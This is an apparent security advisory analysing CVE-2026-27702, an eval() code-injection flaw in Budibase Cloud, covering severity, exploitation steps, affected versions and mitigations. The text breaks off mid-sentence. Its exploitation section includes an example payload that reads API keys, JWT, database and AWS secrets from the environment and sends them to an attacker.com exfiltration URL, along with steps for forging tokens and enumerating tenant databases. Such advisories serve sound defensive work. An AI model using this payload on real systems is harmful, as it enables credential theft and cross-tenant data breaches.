CVE-2026-27702
CVE-2026-27702
CVSS Vector
v3.1- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- Low
- User Interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- High
- Availability
- Low
Description
Budibase is a low code platform for creating internal tools, workflows, and admin panels. Prior to version 3.30.4, an unsafe `eval()` vulnerability in Budibase's view filtering implementation allows any authenticated user (including free tier accounts) to execute arbitrary JavaScript code on the server. This vulnerability ONLY affects Budibase Cloud (SaaS) - self-hosted deployments use native CouchDB views and are not vulnerable. The vulnerability exists in `packages/server/src/db/inMemoryView.ts` where user-controlled view map functions are directly evaluated without sanitization. The primary impact comes from what lives inside the pod's environment: the `app-service` pod runs with secrets baked into its environment variables, including `INTERNAL_API_KEY`, `JWT_SECRET`, CouchDB admin credentials, AWS keys, and more. Using the extracted CouchDB credentials, we verified direct database access, enumerated all tenant databases, and confirmed that user records (email addresses) are readable. Version 3.30.4 contains a patch.
CVE-2026-27702: Comprehensive Technical Analysis
Executive Summary
CVE-2026-27702 represents a critical remote code execution (RCE) vulnerability in Budibase Cloud (SaaS) with a CVSS score of 9.9. The vulnerability stems from unsafe use of eval() on user-controlled input, allowing authenticated attackers to execute arbitrary JavaScript code server-side and extract highly sensitive credentials from the runtime environment.
1. Vulnerability Assessment and Severity Evaluation
Technical Classification
- Vulnerability Type: Code Injection / Remote Code Execution (CWE-94)
- CVSS Score: 9.9 (CRITICAL)
- Attack Complexity: LOW
- Privileges Required: LOW (any authenticated user, including free tier)
- User Interaction: NONE
- Scope: CHANGED (affects resources beyond the vulnerable component)
Severity Justification
The 9.9 CVSS score is warranted due to:
- Low Barrier to Entry: Any authenticated user, including free-tier accounts, can exploit this vulnerability
- Complete System Compromise: Arbitrary code execution enables full server control
- Credential Exposure: Direct access to critical secrets including:
INTERNAL_API_KEY- enables internal service authentication bypassJWT_SECRET- allows forging authentication tokens for any user- CouchDB admin credentials - full database access across all tenants
- AWS credentials - potential cloud infrastructure compromise
- Multi-Tenant Impact: Single exploitation can compromise multiple customer databases
- Data Breach Potential: Confirmed access to user PII (email addresses) and potentially all application data
2. Attack Vectors and Exploitation Methods
Vulnerability Root Cause
Located in packages/server/src/db/inMemoryView.ts, the application accepts user-controlled view map functions and passes them directly to eval() without sanitization:
// Vulnerable code pattern (simplified)
function processView(userMapFunction) {
eval(userMapFunction); // Direct evaluation of user input
}
Exploitation Workflow
Step 1: Authentication
- Create free-tier Budibase Cloud account
- Authenticate to obtain valid session
Step 2: Craft Malicious View Filter
- Create or modify a view with malicious map function
- Inject JavaScript payload designed to:
- Access
process.envto extract environment variables - Exfiltrate data via HTTP requests to attacker-controlled server
- Execute system commands (if Node.js child_process available)
- Access
Step 3: Trigger Execution
- Submit the malicious view filter
- Server-side
eval()executes attacker's JavaScript
Step 4: Credential Extraction
// Example payload structure
const payload = `
const secrets = {
internalKey: process.env.INTERNAL_API_KEY,
jwtSecret: process.env.JWT_SECRET,
couchUser: process.env.COUCHDB_USER,
couchPass: process.env.COUCHDB_PASSWORD,
awsKey: process.env.AWS_ACCESS_KEY_ID,
awsSecret: process.env.AWS_SECRET_ACCESS_KEY
};
require('https').get('https://attacker.com/exfil?data=' +
Buffer.from(JSON.stringify(secrets)).toString('base64'));
`;
Step 5: Lateral Movement
- Use extracted CouchDB credentials to directly access database
- Enumerate tenant databases
- Extract user data, application configurations, and business logic
- Use
INTERNAL_API_KEYto access internal APIs - Forge JWT tokens using
JWT_SECRETto impersonate any user
Attack Complexity Analysis
- Technical Skill Required: Medium (requires JavaScript knowledge)
- Tools Needed: Standard HTTP client, basic scripting
- Detection Difficulty: High (appears as legitimate authenticated request)
- Exploitation Reliability: Very High (direct code execution)
3. Affected Systems and Software Versions
Affected Platforms
- Budibase Cloud (SaaS): All versions prior to 3.30.4
- Self-Hosted Deployments: NOT VULNERABLE (uses native CouchDB views)
Affected Components
packages/server/src/db/inMemoryView.tsapp-servicepod in Kubernetes deployment- View filtering/mapping functionality
Infrastructure Context
- Kubernetes-based deployment architecture
- Secrets stored as environment variables in pod configuration
- Multi-tenant database architecture using CouchDB
Version Timeline
- Vulnerable: All versions < 3.30.4
- Patched: Version 3.30.4 and later (released with commit 348659810cf930dda5f669e782706594c547115d)
4. Recommended Mitigation Strategies
Immediate Actions (Emergency Response)
For Budibase Cloud Users:
- Verify Patch Status: Confirm your instance is running version 3.30.4+
- Audit Access Logs: Review authentication logs for suspicious free-tier account creation
- Monitor View Creation: Examine view filter modifications in audit logs
- Rotate Credentials: If compromise suspected, rotate:
- Database passwords
- API keys
- JWT secrets
- Cloud provider credentials
For Budibase Administrators:
- Immediate Upgrade: Deploy version 3.30.4 to all Cloud instances
- Secret Rotation: Rotate all exposed credentials as a precaution:
INTERNAL_API_KEYJWT_SECRET- CouchDB admin credentials
- AWS/cloud provider keys
- Forensic Analysis:
- Review database access logs for unauthorized queries
- Check for data exfiltration patterns
- Analyze network traffic for unusual outbound connections
Long-Term Security Improvements
Code-Level Mitigations:
-
Eliminate eval(): Replace with safe alternatives:
- Use sandboxed JavaScript execution (vm2, isolated-vm)
- Implement AST-based parsing and validation
- Use predefined function templates with parameter binding
-
Input Validation:
- Implement strict allowlisting for view map functions
- Use Content Security Policy for code execution
- Apply syntax validation before execution
-
Principle of Least Privilege:
- Remove environment variable access from application runtime
- Use secret management systems (HashiCorp Vault, AWS Secrets Manager)
- Implement runtime secret injection with minimal scope
Architecture-Level Mitigations:
-
Secret Management:
- Migrate from environment variables to secure secret stores
- Implement short-lived, rotatable credentials
- Use service mesh for inter-service authentication
-
Network Segmentation:
- Isolate database access to dedicated service layer
- Implement egress filtering to prevent data exfiltration
- Deploy Web Application Firewall (WAF) with code injection rules
-
Monitoring and Detection:
- Implement runtime application self-protection (RASP)
- Monitor for
eval()usage patterns - Alert on environment variable access
- Log all view filter modifications with content inspection
Operational Security:
-
Access Controls:
- Implement rate limiting on view creation
- Require email verification for free-tier accounts
- Add CAPTCHA to prevent automated exploitation
- Consider requiring paid accounts for view filter functionality
-
Security Testing:
- Conduct regular code audits focusing on dynamic code execution
- Implement automated SAST/DAST scanning
- Perform penetration testing on multi-tenant isolation
5. Impact on Cybersecurity Landscape
Industry Implications
Low-Code/No-Code Platform Security:
- Highlights systemic risks in platforms that allow user-defined logic
- Demonstrates tension between flexibility and security in low-code tools
- Sets precedent for security requirements in similar platforms
Multi-Tenant SaaS Vulnerabilities:
- Exemplifies cascade failure in shared infrastructure
- Demonstrates importance of tenant isolation at multiple layers
- Shows risks of shared secret management in containerized environments
Supply Chain Considerations:
- Organizations using Budibase may have exposed internal tools and workflows
- Potential for downstream compromise of